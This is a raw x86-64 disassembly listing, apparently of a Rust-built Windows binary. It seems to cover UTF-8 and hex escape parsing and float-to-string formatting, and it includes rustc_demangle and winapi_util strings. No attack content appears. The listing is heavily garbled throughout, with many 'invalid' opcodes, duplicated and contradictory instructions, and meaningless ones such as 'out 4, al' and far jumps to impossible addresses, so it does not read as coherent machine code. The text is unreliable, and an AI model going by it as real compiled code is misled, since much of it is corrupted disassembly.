mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rdx, [rcx + rax]
test rax, rax
je 0x14006f337
movzx eax, byte [rcx]
test al, al
js 0x14006f351
lea r8, [rcx + 1]
jmp 0x14006f57b
mov eax, 0x110000
mov r8, rcx
jmp 0x14006f57b
mov r8d, 2
xor r10d, r10d
xor eax, eax
jmp 0x14006f3b8
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x14006f55d
cmp r11b, 0xf8
jae 0x14006f5f8
mov r8d, 4
mov al, 1
xor r10d, r10d
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
lea rsi, [rsp + 0x24]
je 0x14006f3f1
and al, 0x48
mov dword [rsp + 0x28], esi
invalid
and al, 0x27
add byte [rax - 0x73], cl
je 0x14006f3f1
and al, 0x48
mov dword [rsp + 0x28], esi
invalid
sub byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x30], r8
cmp rdx, 2
cmp edx, 2
jb 0x14006f2d1
invalid
invalid
lea rdi, [r9 + 2]
lea rsi, [rdx - 2]
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
movzx r14d, byte [r9]
movzx ebx, byte [r9 + 1]
lea edi, [r14 - 0x30]
lea edi, [rsi - 0x30]
cmp edi, 0xa
jb 0x14006f421
or r14d, 0x20
add r14d, 0xffffff9f
add r14d, 0xa
mov edi, 0xffffffff
cmovae edi, r14d
cmp edi, 0xf
ja 0x14006f61f
invalid
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x14006f443
and byte [rbx - 0x3c7c603d], al
or bh, byte [rbp - 1]
lahf
add ebx, 0xa
mov ebp, 0xffffffff
cmovae ebp, ebx
cmp ebp, 0xf
ja 0x14006f61f
shl dil, 4
or bpl, dil
mov byte [rsp + 0x25], bpl
cmp r11b, 0xe0
jb 0x14006f2b7
cmp rsi, 2
jb 0x14006f2d1
cld
mov qword [rcx], rsi
mov qword [rcx + 8], r11
movzx ebx, byte [r9 + 2]
movzx edi, byte [r9 + 3]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb 0x14006f49e
invalid
sbb al, byte [rbx - 0x3c7cdf35]
lahf
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
cmovae esi, ebx
cmp esi, 0xf
ja 0x14006f61f
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x14006f4c0
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
and byte [rbx - 0x387c6039], al
or bh, byte [rbx - 1]
mov ebx, 0xffffffff
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x14006f61f
add dword [rax], eax
invalid
fild word [rbx - 0x78f0f005]
pop rdi
add dword [rax], eax
add byte [rax - 0x40], al
out 4, al
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
test r10b, r10b
jne 0x14006f2b7
invalid
invalid
cmp r11, 2
jb 0x14006f2d1
invalid
std
invalid
invalid
lea r10, [r9 + 6]
add rdx, 0xfffffffffffffffa
mov qword [rcx], r10
mov qword [rcx + 8], rdx
movzx r10d, byte [r9 + 4]
movzx edx, byte [r9 + 5]
lea ecx, [r10 - 0x30]
mov dh, 0x51
add eax, 0xd04a8d41
cmp ecx, 0xa
jb case.0x1400510a8.198
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
retf 0x4120
add edx, 0xa
mov ecx, 0xffffffff
cmovae ecx, r10d
cmp ecx, 0xf
invalid
ja 0x14006f61f
inc dword [rcx + 0xf]
retf 0xf983
invalid
lea r9d, [rdx - 0x30]
cmp r9d, 0xa
or dh, byte [rdx + 0x1d]
or dh, byte [rdx + 0x1d]
or edx, 0x20
add edx, 0xffffff9f
ret 0x839f
ret 0x410a
mov ecx, 0xffffffff
cmovae r9d, edx
cmp r9d, 0xf
ja 0x14006f61f
ret 0x839f
test al, al
je 0x14006f606
invalid
add al, al
loope 0x14006f554
or r9b, cl
mov byte [rsp + 0x27], r9b
mov byte [rsp + 0x27], cl
jmp 0x14006f2b7
std
invalid
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x14006f57b
cmp r8, rdx
je 0x14006f5e9
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.1400a9e70
ud2
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
movabs rsi, 0xfffffffffffff
movq r13, xmm0
mov rax, r13
and rax, rsi
mov rcx, r13
shr rcx, 0x34
test r13, r13
test ebp, ebp
test ebp, ebp
js 0x140072d71
xor r8d, r8d
and ecx, 0x7ff
test rax, rax
je 0x140072d85
jmp 0x140072da3
mov byte [rdx], 0x2d
mov r8d, 1
add byte [rcx + 0x7ffe1], al
add byte [rax - 0x7b], cl
invalid
jne 0x140072da3
add byte [rcx + 0x7ffe1], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x1e], 0x85
leave
test ecx, ecx
jne 0x140072da3
mov byte [rdx + r8 + 2], 0x30
mov word [rdx + r8], 0x2e30
shr r13, 0x3f
add r13, 3
jmp 0x140073643
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
lea edx, [rcx - 0x435]
inc rsi
or rsi, rax
test ecx, ecx
mov ebp, 0xfffffbcc
cmovne ebp, edx
cmove rsi, rax
cmove esi, eax
lea r11, [rsi*4]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
setne al
cmp ecx, 2
stc
add al, byte [rcx + 0xf]
xchg edx, eax
invalid
or r13b, al
movabs rdi, 0xcccccccccccccccd
int3
movzx ebx, r13b
test ebp, ebp
js 0x140072f1a
invalid
add dword [rax], eax
invalid
mov qword [rsp + 0x30], rsi
imul esi, ebp, 0x13441
shr esi, 0x12
cmp ebp, 4
adc esi, 0xffffffff
imul r9d, esi, 0x12934f
xchg r11, rax
adc al, byte [rax]
shr r9d, 0x13
mov rax, rsi
mov eax, esi
shl rax, 4
lea rcx, [0x1400e3a40]
invalid
or al, 7
add byte [rbx + rcx*4 + 0x24], cl
or byte [rbx + rcx*4 + 0x44], cl
or byte [rax], cl
mov r14, r11
or r14, 2
mov rax, r12
mul r14
mov rcx, rdx
mov rax, r8
mul r14
mov r10, rdx
mov r15, rax
add r15, rcx
adc r10, 0
mov ecx, esi
sub ecx, ebp
add ecx, r9d
leave
invalid
leave
add cl, 0x3d
shrd r15, r10, cl
shr r10, cl
shr edx, cl
shr edx, cl
mov r9, rbx
not r9
add r9, r11
add ecx, ebx
add ecx, ebx
mov rax, r12
mul r9
mov rbp, rdx
mov ebp, edx
mov ebp, edx
mov rax, r8
mul r9
mov r9, rdx
mov ecx, edx
mov ecx, edx
mov r13, rax
add r13, rbp
adc r9, 0
adc ecx, 0
adc ecx, 0
shrd r13, r9, cl
shr r9, cl
jmp 0x189e7b7db
mul ebx
mov r12, rdx
invalid
mov rax, r8
mul r11
mov r8, rdx
ror byte [rcx + rax - 0x20], 1
jmp 0x189e7b7db
invalid
ror byte [rcx + rax - 0x20], 1
adc r8, 0
shrd rax, r8, cl
shrd eax, eax, cl
shrd eax, eax, cl
shr r8, cl
test cl, 0x40
cmove r10, r15
cmove r9, r13
cmove r8, rax
cmp esi, 0x16
jae 0x14007308d
movabs rcx, 0x3333333333333334
mov rax, r11
mul rcx
lea eax, [rdx + rdx*4]
cmp eax, r11d
jne 0x140073027
mov ecx, 0xffffffff
nop word cs:[rax + rax]
invalid
add byte [rcx + rcx*4 - 0x28], cl
mov rax, r11
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, r11d
mov r11, rdx
je 0x140072ef0
cmp ecx, esi
jb 0x14007308d
mov bpl, 1
xor r13d, r13d
jmp 0x14007305f
mov ecx, ebp
imul ebp, ebp, 0xfff4d105
shr ebp, 0x14
xor eax, eax
cmp ecx, 0xffffffff
setne al
sub ebp, eax
add ecx, ebp
mov eax, ecx
neg eax
mov dword [rsp + 0x2c], ecx
imul r9d, ecx, 0x3ed6cb1
shr r9d, 0x13
cdqe
shl rax, 4
lea rcx, [0x1400e4fa0]
mov r15, qword [rax + rcx]
mov r8, qword [rax + rcx + 8]
or byte [rbp - 0x77], cl
fimul dword [rcx - 0x7d]
retf 0x4c02
mov eax, edi
mul r10
mov rcx, rdx
mov rax, r8
mul r10
mov r10, rdx
mov r14, rax
invalid
add r14, rcx
adc r10, 0
mov ecx, ebp
or byte [rbp - 0x77], cl
fimul dword [rcx - 0x7d]
retf 0x4c02
invalid
sub ecx, r9d
add cl, 0x3c
shrd r14, r10, cl
shr r10, cl
not rbx
add rbx, r11
mov rax, r15
mul rbx
mov r12, rdx
mov rax, r8
ror byte [rax - 9], 0xe3
ror byte [rax - 9], 0xe3
mov r9, rdx
mov rbx, rax
add rbx, r12
jrcxz 0x140072ff4
adc ecx, 0
jrcxz 0x140072ff4
adc ecx, 0
shrd rbx, r9, cl
shr r9, cl
mov rax, r15
mul r11
mov r15, rdx
mov rax, r8
mul r11
mov r8, rdx
mov eax, edx
mov eax, edx
add rax, r15
adc r8, 0
shrd rax, r8, cl
shrd eax, eax, cl
shrd eax, eax, cl
shr r8, cl
test cl, 0x40
cmove r10, r14
cmove r9, rbx
retf
cmove r8, rax
cmp ebp, 2
jae 0x140073004
retf
mov qword [rsp + 0x30], rsi
mov eax, esi
and eax, 1
xor byte [rcx + 0x1e083f0], cl
sete cl
and r13b, cl
xchg esp, eax
rol dword [rcx + 0x20], 0xcd
sub r10, rax
mov bpl, 1
jmp 0x140073172
cmp ebp, 0x3e
ja 0x140073021
mov rax, 0xffffffffffffffff
mov ecx, ebp
shl rax, cl
not rax
test r11, rax
ret
je 0x140073167
ror byte [rcx - 0x7b], 1
ret
mov ebp, dword [rsp + 0x2c]
jmp case.0x1400279e4.579
test byte [rsp + 0x30], 1
jne case.0x1400271cf.551
not rbx
add rbx, r11
mov ecx, 0xffffffff
nop dword [rax]
mov rax, rbx
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, ebx
fmul dword [rax - 0x77]
invalid
je 0x140073040
fmul dword [rax - 0x77]
sal dword [rdx + rbp*8 + 0x39], cl
int1
cmp ecx, esi
jb 0x14007308d
xor eax, dword [rcx - 0x4b]
add dword [rcx], esi
in eax, dx
mov r13b, 1
xor ebp, ebp
mov eax, esi
mov dword [rsp + 0x2c], esi
je 0x140073088
sub al, 0xe9
or byte [rcx], al
add dword [rax], eax
invalid
je 0x140073088
sub al, 0xe9
or byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 1], bh
mov ecx, 0xffffffff
mov ecx, 0xffffffff
nop
mov rax, r14
mul rdi
mul edi
mul edi
shr rdx, 2
shr edx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, r14d
mov r14, rdx
je 0x140073070
invalid
jmp 0xc35121c4
cmp ecx, esi
int1
adc r10, 0xffffffffffffffff
mov ebp, esi
mov rax, r10
shr rax, 2
movabs rbx, 0x28f5c28f5c28f5c3
ret
cmc
sub byte [rdi + rcx*4 - 0x3e], bl
cmc
invalid
ret
mul rbx
mul ebx
mov r11, rdx
shr r11, 2
invalid
add cl, byte [rcx + rcx*4 - 0x38]
mov rax, r9
shr rax, 2
mul rbx
mul ebx
mul ebx
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe 0x1400730e7
mov rax, r8
shr rax, 2
mul rbx
mul ebx
ror byte [rax - 0x3f], 0xe8
add cl, byte [rax - 9]
invalid
mul ebx
jrcxz 0x140073115
shr rdx, 2
shr edx, 2
imul eax, edx, 0xffffff9c
add eax, r8d
cmp eax, 0x32
setae sil
mov ebx, 2
add byte [rax], al
add byte [rcx - 0x77], cl
shr bl, 1
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
shr bl, 1
or byte [rcx], dh
xor ebx, ebx
mov rcx, r9
leave
fisttp dword [rcx + rcx*4 - 0x37]
leave
mov r11, r10
mov rax, r11
mov eax, ebx
fmul dword [rax - 9]
out 0x49, eax
mov r9, rdx
mul rdi
mov r9, rdx
mov rax, rcx
mul rdi
enter 0xfffffffffffff748, 0xffffffffffffffe7
shr r9, 3
jmp 0x12ac87908
shr rdx, 3
cmp r9, rdx
cmp ecx, edx
cmp ecx, edx
jbe 0x140073153
nop dword [rax + rax]
mov r10, r8
mov edx, eax
ret 0x8948
mov rcx, rdx
mov ecx, edx
ror dword [rcx + rcx*4 - 0x40], 1
mov rax, r8
mul rdi
mov r8, rdx
out 0x49, eax
mov eax, edx
shr r8, 3
inc ebx
ret
mov rax, r9
mov eax, ecx
ret
mov eax, ecx
mul rdi
mov r9, rdx
ror dword [rax - 0x77], 1
invalid
ror dword [rax - 0x77], 1
enter 0xfffffffffffff748, 0xffffffffffffffe7
mul rdi
mul rdi
shr r9, 3
jmp 0x12ac8793e
shr rdx, 3
shr edx, 3
add ecx, dword [rcx + 0x39]
sal dword [rdi - 0x31], 1
ja 0x140073110
cmp r9, rdx
ja 0x140073110
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
sub r10d, eax
cmp r10d, 5
cli
add eax, 0xc6930f40
xchg ebx, eax
invalid
ret 0x8341
cli
add eax, 0xc6930f40
xchg ebx, eax
invalid
xchg ebx, eax
invalid
cmp r8, rcx
sete r13b
or r13b, sil
mov rdi, qword [rsp + 0x38]
jmp 0x1400732bc
push rbp
add dword [rax], eax
invalid
push rbp
add dword [rax], eax
add byte [rax - 0x77], cl
je 0x14007318f
mov qword [rsp + 0x30], rsi
mov bpl, 1
xor r13d, r13d
xor byte [rax - 0x4b], al
add dword [rbp + 0x31], eax
in eax, dx
mov rax, r10
mul rdi
mov r11, rdx
shr r11, 3
mov rax, r9
mul rdi
shr rdx, 3
xor esi, esi
xor ebx, ebx
cmp r11, rdx
jbe 0x140073202
sal dword [rsi + 0x70], cl
xor r14d, r14d
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rbp - 0x76b3edcc], 1
ror byte [rax - 9], 0xe7
mov rcx, rdx
lea esi, [rdx + rdx]
mov rax, r8
mul rdi
mov r10, rdx
lea eax, [rsi + rsi*4]
shr r10, 3
lea edx, [r10 + r10]
lea esi, [rdx + rdx*4]
neg esi
add sil, r8b
cmp eax, r9d
sete al
and r13b, al
test r14b, r14b
sete al
and bpl, al
mov rax, r11
mul rdi
inc ebx
mov r11, rdx
shr r11, 3
mov rax, rcx
mul rdi
shr rdx, 3
add ecx, dword [rbp - 0x77]
ror byte [rcx - 0x77], 1
leave
add ecx, dword [rbp - 0x77]
ror byte [rcx - 0x77], 1
leave
mov r14d, esi
cmp r11, rdx
test byte [rcx + 0x39], 0xd3
ja 0x1400731a0
test r13b, r13b
jne 0x14007320d
jmp case.0x140046a5e.375
mov rcx, r9
mov r10, r8
ret 0x8445
in eax, dx
je case.0x140046a5e.375
ret 0x8445
mov rax, rcx
mul rdi
mov r9, rdx
shr r9, 3
add eax, dword [rbx - 0x73]
add al, 9
add eax, dword [rbx - 0x73]
add al, 9
lea eax, [rax + rax*4]
cmp eax, ecx
invalid
jne case.0x140046a5e.375
enter 0x5475, 0x66
nop word cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x30], cl
mov eax, edx
mov rax, r10
mov eax, edx
mul rdi
mul edi
mov r8, rdx
shr r8, 3
shr eax, 3
shr eax, 3
lea eax, [r8 + r8]
lea r11d, [rax + rax*4]
sbb al, 0x80
sbb al, 0x80
neg r11d
neg ebx
add r11b, r10b
test sil, sil
test dh, dh
test dh, dh
sete al
and bpl, al
inc ebx
ret
mov rax, r9
mul rdi
shr rdx, 3
shr edx, 3
ret
shr edx, 3
invalid
lea eax, [rdx + rdx]
lea eax, [rax + rax*4]
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
mov r10, r8
mov esi, r11d
mov esi, ebx
mov esi, ebx
cmp eax, r9d
cmp eax, ecx
mov r9, rdx
je 0x140073230
jmp 0x14007327f
mov r11d, esi
mov r8, r10
mov eax, r8d
and al, 1
or al, 4
cmp r11b, 5
cmp bl, 5
cmp bl, 5
add eax, 0xd3b60f41
movzx edx, r11b
movzx eax, al
cmovne eax, edx
test bpl, bpl
cmove eax, edx
cmp r8, rcx
sete cl
not r13b
not ch
not ch
or r13b, byte [rsp + 0x30]
cmp al, 5
setae al
and r13b, cl
or r13b, al
or ch, al
or ch, al
mov rdi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
add ebp, ebx
movzx ebx, r13b
add rbx, r8
add ebx, eax
add ebx, eax
mov eax, 0x11
movabs rcx, 0x2386f26fc0ffff
mov ecx, 0x6fc0ffff
xacquire xchg byte [rbx], ah
add byte [rax + 0x39], cl
retf
ja 0x1400733e6
add byte [rax], al
mov ecx, 0x6fc0ffff
xacquire xchg byte [rbx], ah
add byte [rax + 0x39], cl
retf
add byte [rax], al
mov eax, 0x10
movabs rcx, 0x38d7ea4c67fff
cmp rbx, rcx
ja 0x1400733e6
mov eax, 0xf
movabs rcx, 0x5af3107a3fff
cmp rbx, rcx
ja 0x1400733e6
mov rcx, rbx
shr rcx, 0xd
mov eax, 0xe
cmp rcx, 0x48c27394
ret 0xf48
xchg eax, eax
add byte [rax], al
invalid
ret 0xf48
shr rcx, 0xc
mov eax, 0xd
or eax, 0x48000000
cmp ecx, 0xe8d4a50
lea ecx, [rsi]
or eax, 0x48000000
cmp ecx, 0xe8d4a50
lea ecx, [rsi]
lea ecx, [rsi]
ja 0x1400733e6
mov rcx, rbx
shr rcx, 0xb
mov eax, 0xc
cmp rcx, 0x2e90edc
ja 0x1400733e6
mov es, word [rax]
add byte [rax], al
mov es, word [rax]
add byte [rax], al
mov rcx, rbx
shr rcx, 0xa
jmp 0x14012eb6c
add byte [rax], al
jmp 0x14012eb6c
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
cmp rcx, 0x9502f8
ja 0x1400733e6
stc
clc
add dl, byte [rbp - 0x47868900]
mov eax, 0xa
mov eax, 0xa
add byte [rax], al
add byte [rax - 0x7f], cl
sti
dec ecx
leave
cmp rbx, 0x3b9ac9ff
ja 0x1400733e6
leave
invalid
cmp esi, dword [rdi + 0x6b]
mov eax, 9
cmp rbx, 0x5f5e0ff
cmp ebx, 0x5f5e0ff
add byte [rax], al
add byte [rax - 0x7f], cl
sti
jmp rax
cmp ebx, 0x5f5e0ff
ja 0x1400733e6
pop rbp
mov eax, 8
or byte [rax], al
add byte [rax], al
cmp rbx, 0x98967f
ja 0x1400733e6
jg 0x140073329
cwde
add byte [rdi + 0x4f], dh
mov eax, 7
add byte [rax], al
cmp rbx, 0xf423f
ja 0x1400733e6
mov eax, 6
cmp rbx, 0x1869f
sti
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
sti
lahf
xchg byte [rcx], al
add byte [rdi + 0x33], dh
mov eax, 5
cmp rbx, 0x270f
add byte [rdi + 0x25], dh
add byte [rax], al
add byte [rax - 0x7f], cl
sti
invalid
add byte [rdi + 0x25], dh
mov eax, 4
cmp rbx, 0x3e7
ja 0x1400733e6
mov eax, 3
cmp rbx, 0x63
ja 0x1400733e6
cmp rbx, 0xa
mov eax, 1
sbb eax, 0xffffffff
mov r15d, eax
movsxd r12, ebp
lea r14, [r15 + r12]
invalid
test r12d, r12d
mov r13, qword [rsp + 0x40]
js 0x140073438
invalid
cmp r14, 0x11
jge 0x140073438
invalid
cmp byte [rbp + 1], cl
out dx, eax
add r15, r13
add r15, rdi
mov rcx, rbx
mov rdx, r15
call fcn.140073660
test ebp, ebp
je case.0x140050f92.313
mov rcx, r15
mov dl, 0x30
mov r8, r12
mov eax, esp
mov eax, esp
call sub.VCRUNTIME140.dll_memset
lea rax, [r14 + r13]
mov word [rdi + rax], 0x302e
add r13, r14
add r13, 2
jmp 0x140073643
invalid
lea rsi, [r14 - 1]
cmp rsi, 0x10
jae 0x140073475
lea rsi, [r15 + r13]
inc rsi
lea rdx, [rdi + rsi]
mov rcx, rbx
call fcn.140073660
lea rdx, [rdi + r13]
invalid
inc rdx
lea rcx, [rdi + r13]
mov r8, r14
mov eax, esi
invalid
invalid
mov eax, esi
call sub.VCRUNTIME140.dll_memmove
add r14, r13
out dx, al
add byte [rbp + 1], cl
out dx, al
mov byte [rdi + r14], 0x2e
jmp 0x140073640
add byte [rax], al
add byte [rax], al
lea rax, [r14 + 4]
cmp rax, 5
invalid
jae 0x1400734cd
add eax, 0x42664e73
mov dword [rdi + rbp], 0x2be2e30
invalid
xor byte [rsi], ch
mov esi, 2
sub rsi, r14
mov word [rdi + r13], 0x2e30
mov esi, 2
add byte [rax], al
invalid
mov esi, 2
add byte [rax], al
sub rsi, r14
test r14, r14
jns 0x1400734b4
lea rcx, [rdi + r13]
add rcx, 2
cmp rsi, 4
mov r8d, 3
mov eax, 3
mov eax, 3
cmovge r8, rsi
add r8, 0xfffffffffffffffe
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
add eax, dword [rax]
add eax, dword [rax]
add byte [rbp + 1], cl
std
add r13, r15
add r13, rsi
add rdi, r13
mov rcx, rbx
invalid
mov rdx, rdi
call fcn.140073660
jmp 0x140073643
jbe 0x1400734cc
add byte [rax], al
invalid
jbe 0x1400734cc
add byte [rax], al
add byte [rcx - 0x7d], al
inc dword [rcx]
cmp r15d, 1
jne 0x1400734f2
add bl, 0x30
mov byte [rdi + r13], bl
xor byte [rdx - 0x78], al
sbb al, 0x2f
mov byte [rdi + r13 + 1], 0x65
lea rax, [rdi + r13]
add rax, 2
test r14, r14
test esi, esi
test esi, esi
jle 0x140073537
mov rcx, rsi
jmp case.0x14004e4ab.258
push rbx
push rbx
mov r12, rdi
mov esp, edi
lea rdi, [r15 + r13]
lea rdx, [r12 + rdi]
inc rdx
mov rcx, rbx
call fcn.140073660
add dword [rax], eax
invalid
ret 0x8948
add dword [rax], eax
add byte [rbx + 0xf], al
mov dh, 0x44
sub al, 1
add byte [rax], al
movzx eax, byte [r12 + r13 + 1]
mov byte [r12 + r13], al
mov byte [r12 + r13 + 1], 0x2e
mov byte [r12 + rdi + 1], 0x65
cmp al, 1
lea rax, gs:[r12 + rdi]
cmp al, 1
lea rax, gs:[r12 + rdi]
add rax, 2
test r14, r14
jle 0x1400735af
add byte [rax], al
add byte [rax], al
mov rdx, rsi
jmp 0x1400735bd
mov byte [rax], 0x2d
inc rax
sar byte [rcx + 1], 0x4c
sub ecx, esi
sar byte [rcx + 1], 0x4c
sub ecx, esi
or r13, 2
cmp rcx, 0x63
jbe 0x140073587
invalid
cmp byte [rcx - 0x2d96b736], cl
invalid
mov edx, ecx
imul rdx, rdx, 0x51eb851f
push rcx
imul edx, edx, 0x51eb851f
push rcx
shr rdx, 0x25
lea r8d, [rdx + 0x30]
mov byte [rax], r8b
imul edx, edx, 0x64
sub ecx, edx
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea edx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
lea edx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add byte [rdi], cl
mov bh, 0xc
movzx ecx, word [rdx + rcx*2]
mov word [rax + 1], cx
mov word [rax + 1], cx
shr rsi, 0x3f
add rsi, 3
add r13, rsi
jmp 0x140073643
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
stc
or dword [rdi], ecx
xchg byte [rdi + 0x48000000], cl
pop qword [rax]
add byte [rax], al
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
cmp rcx, 9
cmp ecx, 9
jbe 0x140073620
pop qword [rax]
add byte [rax], al
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
invalid
movzx ecx, word [rdx + rcx*2]
or al, 0x4a
mov word [rax], cx
shr rsi, 0x3f
shr esi, 0x3f
or rsi, 2
or esi, 2
add r13, rsi
jmp 0x140073643
add byte [rax], al
add dh, al
add byte [0xfac834fe], ch
inc rax
invalid
add byte [rax], al
mov byte [rax], 0x2d
inc rax
mov edx, 1
add dword [rax], eax
add byte [rax], al
sub rdx, r14
lea rcx, [r15 + r13]
lea ecx, [rdi + rbp]
or al, 0x2f
add rcx, 2
cmp rdx, 0x63
invalid
jbe 0x140073601
cli
invalid
mov r8d, edx
imul r8, r8, 0x51eb851f
invalid
test ebx, ebp
jmp 0x140073626
shr r8, 0x25
invalid
invalid
rcr byte [rdi], 0x85
jmp 0x140073626
invalid
call 0x188947b01
xor byte [rax + rcx*4 + 8], al
lea r9d, [r8 + 0x30]
lea ecx, [rax + 0x30]
mov byte [rax], r9b
imul r8d, r8d, 0x64
sub edx, r8d
shl byte [rsp + rax*2 + 0x29], 0xc2
sub edx, r8d
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
add eax, 0x731b2
invalid
movzx edx, word [r8 + rdx*2]
push rax
mov word [rax + 1], dx
shr rsi, 0x3f
push rax
add dword [rax - 0x3f], ecx
out dx, al
invalid
add rsi, 3
jmp 0x14007363d
add ebp, ebx
cmp al, 0x48
cmp edx, 9
invalid
cmp rdx, 9
or dword [rsi + 0x2a], esi
jbe case.0x140063fb7.225
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx edx, word [r8 + rdx*2]
add byte [rcx + 0xf], al
mov bh, 0x14
push rax
mov word [rax], dx
shr rsi, 0x3f
or rsi, 2
jmp 0x14007363d
invalid
sbb eax, 0x8830c180
or byte [rax - 0x3f], cl
out dx, al
add cl, 0x30
mov byte [rax], cl
shr rsi, 0x3f
invalid
shr esi, 0x3f
invalid
inc rsi
add r13, rsi
jmp 0x140073643
add dl, 0x30
mov byte [rax], dl
shr rsi, 0x3f
inc rsi
add rsi, rcx
invalid
mov r13, rsi
mov rax, r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rcx
mul rdx
shr rdx, 0x1a
imul eax, edx, 0xfa0a1f00
add ecx, eax
mov eax, 0xd1b71759
imul rax, rcx
shr rax, 0x2d
imul r9d, eax, 0x2710
sub ecx, r9d
imul r9, rax, 0x68db9
shr r9, 0x20
imul r9d, r9d, 0x2710
sub eax, r9d
imul r9d, ecx, 0x147b
add byte [rax], al
shr r9d, 0x13
imul r10d, r9d, 0x64
sub ecx, r10d
movzx ecx, cx
imul r10d, eax, 0x147b
shr r10d, 0x13
imul r11d, r10d, 0x64
sub eax, r11d
movzx eax, ax
lea r11, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx ecx, word [r11 + rcx*2]
mov word [r8 - 2], cx
movzx ecx, word [r11 + r9*2]
mov word [r8 - 4], cx
cld
movzx eax, word [r11 + rax*2]
mov word [r8 - 6], ax
cli
movzx eax, word [r11 + r10*2]
mov word [r8 - 8], ax
mov dword [rax - 8], eax
add r8, 0xfffffffffffffff8
mov rcx, rdx
invalid
cmp ecx, 0x2710
jb 0x1400737d3
scasb al, byte [rdi]
add byte [rax], al
invalid
mov edx, 0xd1b71759
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov eax, ecx
imul rax, rdx
ret 0xc148
call 0x110707b7a
invalid
fdivr st(7)
inc dword [rcx + 1]
retf 0x694d
ficomp dword [rdi]
test ebx, ebp
push rcx
shr r11, 0x25
imul esi, r11d, 0x64
sub r10d, esi
movzx r10d, word [r9 + r10*2]
mov word [r8 - 2], r10w
movzx r10d, word [r9 + r11*2]
mov word [r8 - 4], r10w
add r8, 0xfffffffffffffffc
cmp ecx, 0x5f5e0ff
mov ecx, eax
ja 0x140073740
cmp eax, 0x63
jbe 0x1400737ba
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul edx, ecx, 0x64
sub eax, edx
movzx eax, ax
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
movzx eax, word [rdx + rax*2]
mov word [r8 - 2], ax
add r8, 0xfffffffffffffffe
mov eax, ecx
cmp eax, 9
jbe 0x1400737dc
